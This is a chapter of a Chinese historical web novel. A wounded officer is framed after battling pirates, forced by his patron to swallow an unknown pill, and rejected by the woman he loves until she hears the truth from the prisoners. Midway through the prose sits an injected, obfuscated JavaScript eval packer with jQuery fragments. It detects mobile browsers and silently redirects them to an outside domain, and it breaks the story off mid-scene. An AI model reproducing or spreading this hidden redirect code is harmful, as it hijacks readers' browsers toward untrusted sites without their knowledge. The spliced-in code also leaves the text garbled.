俘虏们一时惊呆在原地，纷纷哭喊冤枉。
谢昭强撑着已战至极限的身体，跛着伤腿挡在众人身前：“黄大人！我等拼死血战一夜，剿灭倭寇，解救百姓，伤亡惨重，你不分青红皂白就斩杀重要人证，污蔑良民为叛党，天理何在？”
黄准大喝一声：“放肆！本官亲眼所见，尔等持械聚众，与倭寇尸首混杂一处。这些百姓为何独与你等亲近？分明是勾结已久，分赃不均内讧所致！本官斩除倭酋，平定祸乱，功在千秋！来人！将他们统统拿下！若有反抗，格杀勿论！”
他身后的官兵立刻刀枪出鞘，对准了伤痕累累的墨卫和盐帮众人。
谢昭看着黄准那副急于抢功灭口的丑态，再想到大岛未及审出的秘密、那些来历不明的火器、以及眼前这几十条即将被冤杀的人命，只觉一股腥甜直冲喉头，眼前阵阵发黑。
他连日奔波、心力交瘁，加之方才恶战受伤失血，此刻急怒攻心，再也支撑不住，猛地喷出一口鲜血，身体直直向后倒去。
“爷！”
“谢爷！”
……
谢昭再醒来时，天已大暗。他自混沌中苏醒，只觉头痛欲裂，胸口如石压般沉闷。
甫一睁眼，便看到一张无比熟悉却令他心底生寒的面孔——许灵阶正端坐在他床前的太师椅上，慢条斯理地拨着茶盏中的浮沫。
“醒了？”许灵阶眼皮都未抬，声音平淡无波。
谢昭猛地坐起身，环顾四周，发现自己已在意园房中。
“那些百姓呢？黄准他……”
“黄知州已将事情的来龙去脉禀明。”许灵阶打断他，放下茶盏，指了指窗外院子里堆积如山的锦缎银箱，“瞧瞧，这是朝廷和地方乡绅送来的赏赐，嘉奖你‘勇毅果敢、力挫倭寇、剿灭通敌叛国之盐枭曹劲及一众党羽有功’。”
谢昭如坠冰窟，情急之下竟出言相逆：“你！你颠倒黑白！曹劲和虎啸帮众人是为抗倭而死！那些百姓也都是无辜的！”
许灵阶终于抬眼看他，眼中锋芒如快刀：“若非我出面周旋，你以为你现在还能躺在这里？你私调武装、擅闯边境、与盐帮往来密切、还私藏大批来历不明的火器！任何一条都足以让你和你的墨卫万劫不复！我设法将曹劲定为叛党，将协助抗倭的功劳归于你身，替你洗脱了嫌疑，还为你争来了这泼天的功劳和赏赐，你还有何不满？”
谢昭低吼道：“大人！我早已罪孽深重，大人说的我都认，一切都任您处置。可那曹帮主的确是单挑倭酋大岛隼人而牺牲，怎能被打上叛国通倭的罪名？一众百姓被强掳到缘花岛做苦力，本就遭逢不幸，又怎能含冤而死？我宁可不要这些赏赐和虚名，替那些人换一个活命的机会！”
许灵阶几步上前，狠狠抠住谢昭左肩尚在渗血的伤口：“谢昭，你别忘了，是谁把你捧到今天这个位置。也别忘了，你最牵挂的两个人，如今都还在这太州城里。你没有资格和我讨价还价。”
说罢，他戴上温柔的假面，从袖中取出一个小巧的瓷瓶，倒出一枚朱红色的丹药，递到谢昭嘴边：“阿昭，你伤势不轻，这是我特意为你炼制的培元固本丹，服下它，好生休养。”
谢昭无力地盯着那枚丹药，在许灵阶无声的威胁下，艰难地张开嘴，任由他将那颗不知是何成分的药丸塞入他口中，强迫他咽下。许灵阶这才满意地点点头，拂袖而去。
许灵阶刚走不久，房门便“砰”地一声被推开。李清白风风火火地闯了进来，难掩愤怒与失望，对着谢昭劈头盖脸指责起来：
“谢昭！那些赏赐是怎么回事？曹劲怎么就成了通敌叛国的贼人？那些被倭寇抓去的百姓，为何反而成了待斩的囚犯？你明明答应过我要救他们的！”
她的声音因激动而颤抖：“你摇身一变成了抗倭英雄，却是踩着曹劲和那些无辜百姓的尸骨上位的吗？”
谢昭刚服下丹药，只觉胃中难受，恶心欲呕，几次想要开口解释，却根本无力发声，扶床吃力呛咳起来。
她越说越激动，从怀中掏出那张从倭寇船上找到的盐引，狠狠摔在谢昭床上：“还有这个！你好好看看清楚，这可是嘉隆场的盐引？你运的根本不是丰纯场的官盐！若你从丰纯场支盐，却用了嘉隆场的引，货引不符，便是大罪，夹带私盐，更是罪加一等！”
谢昭体内气血翻涌，在她连番质问下，终于吐出一口气解释：“念念……你听我说……是黄准黄雀在后抢功灭口……并非我贪功害人……我的确没从嘉隆场支盐……可这次真的来不及了……”
“来不及？什么来不及？”
谢昭本想告诉她“那笔银子”的事，可余光瞟到窗外似有可疑之人飘过，终究将话头咽了下去，只埋头深深叹了口气。
这苍白的沉默被李清白解读为无可辩驳，她眼中顷刻浮起决绝的泪水，痛心疾首道：“谢昭，原来我真的看错你了。我今后再也不想见到你。”
她转身便要离开。
谢昭见状，心中大恸，竟不顾身体剧痛和虚弱，猛地从床上跌爬下来：“不，念念！你别走！”
他踉跄着扑过去，从后面紧紧环抱住她的腰，将头埋在她身后，像个无助的孩子般哀声祈求：“我求你……别离开我……”
他话音哽咽，气息微弱到触地即碎。李清白的心仿佛被狠狠揪住，但一想到监牢里的阿央和其他百姓，便硬起心肠，用力掰开他的手：“谢爷，请自重。”
她头也不回地冲出了房间，独留谢昭跌坐在冰冷的地上。
……
是夜，李清白辗转难眠，心中虽恨，却总觉不安。
她与夏荫设法买通狱卒，偷偷前往州衙大牢探望阿央他们。
阴暗潮湿的牢房里，终年弥漫着血污和绝望的气息。阿央和其他幸存者们蜷缩在角落，看到李清白和夏荫到来，浑浊的眼中瞬间燃起光亮，如同溺水之人看到最后一根浮木。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435427|181932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“阿白！阿夏！”阿央挣扎着想爬起来，却因伤口牵制而作罢，咧着牙欢喜道：“你们没事真是太好了！”
李清白快步上前蹲下，看着他和其他人身上惨不忍睹的伤痕，鼻子一酸就落下泪来：“阿央，你们受苦了……天杀的那些狗官，竟然说曹帮主是叛贼，说你们是乱党！”
“放他娘的狗屁！”旁边一个断了胳膊的汉子忍不住激动大吼，“曹帮主是为了救我们才牺牲的！还有谢爷……谢爷他后来怎么样了？”
“他没事，好得很。”夏荫平静道。
又一个趴在地上的汉子抬头道：“那就好！我们起先还担心谢爷也被关进来严刑拷打了，他没事就好。没事就好。”
阿央喘了口气，接过话头，声音急促而带着明显的后怕：“阿白，阿夏，你们是没看见，谢爷和他那帮手下，简直像神兵天降，他们根本不怕死，冲得比谁都快！”
另一个十来岁的小俘虏也凑过来，比划着补充道：“对对！谢爷那把刀使得……俺从来没见过那么厉害的人！好几个倭寇头目围着他，他都一点不慌，哪怕跛了一条腿，也杀得他们人仰马翻！”
“可是……”阿央声音渐渐带了哭腔，“那些倭狗太不是东西了！他们看准了谢爷他们不愿让我们受伤，就把我们当肉盾往前推……一个黑衣兄弟为了保护我，硬生生用胳膊扛了倭寇一刀，断了小臂仍在坚持战斗，到死也不肯跪下……”
断臂汉子抹了把脸，恨声道：“他们简直不是人！连自己本族的小女孩也当做人肉炸弹，幸亏谢爷躲闪及时，捡下条命来流着血指挥，否则真是苍天无眼啊！”
他们你一言我一语，虽然杂乱，却清晰地拼凑出昨夜那场战斗的惨象，以及——谢昭同他的墨卫所做出的伟大牺牲。
“可是……”阿央战战兢兢道，“我们好不容易活下来了，那个姓黄的狗官却来了！他上来就把大岛的头砍了，然后就说我们是叛党，说我们和倭寇是一伙的！谢爷同他据理力争，想保全大家，争着争着，就气得吐血晕过去了……然后我们就被抓到这里来了……”
“二位，你们一定要救救我们啊！”一名坐地的老妇人颤颤巍巍抓住李清白裤脚，“我们都是老实本分的百姓，被倭寇抓去差点没命，现在又要被官府冤杀……请救救我们！”
李清白听着这一句句泣血的诉说，顿时心如刀绞。
他在这最惨烈的一夜拼死活了下来，身受伤痛无数，蒙受不白之冤，她却在他最无助、最艰难的时刻，曲解了他、抛弃了他。
她要马上回去看他。
同夏荫交代好后续，她以最快的速度冲出大牢，翻身上马，奔回意园。
远远地，一盏孤灯点亮昏沉的夜色。
那个她最熟悉的身影正倚门而立，身形清瘦而佝偻，目光似向远方，也似在看她。
她快马加鞭，急勒住马，与他四目相对。
便有千言万语哽在喉间。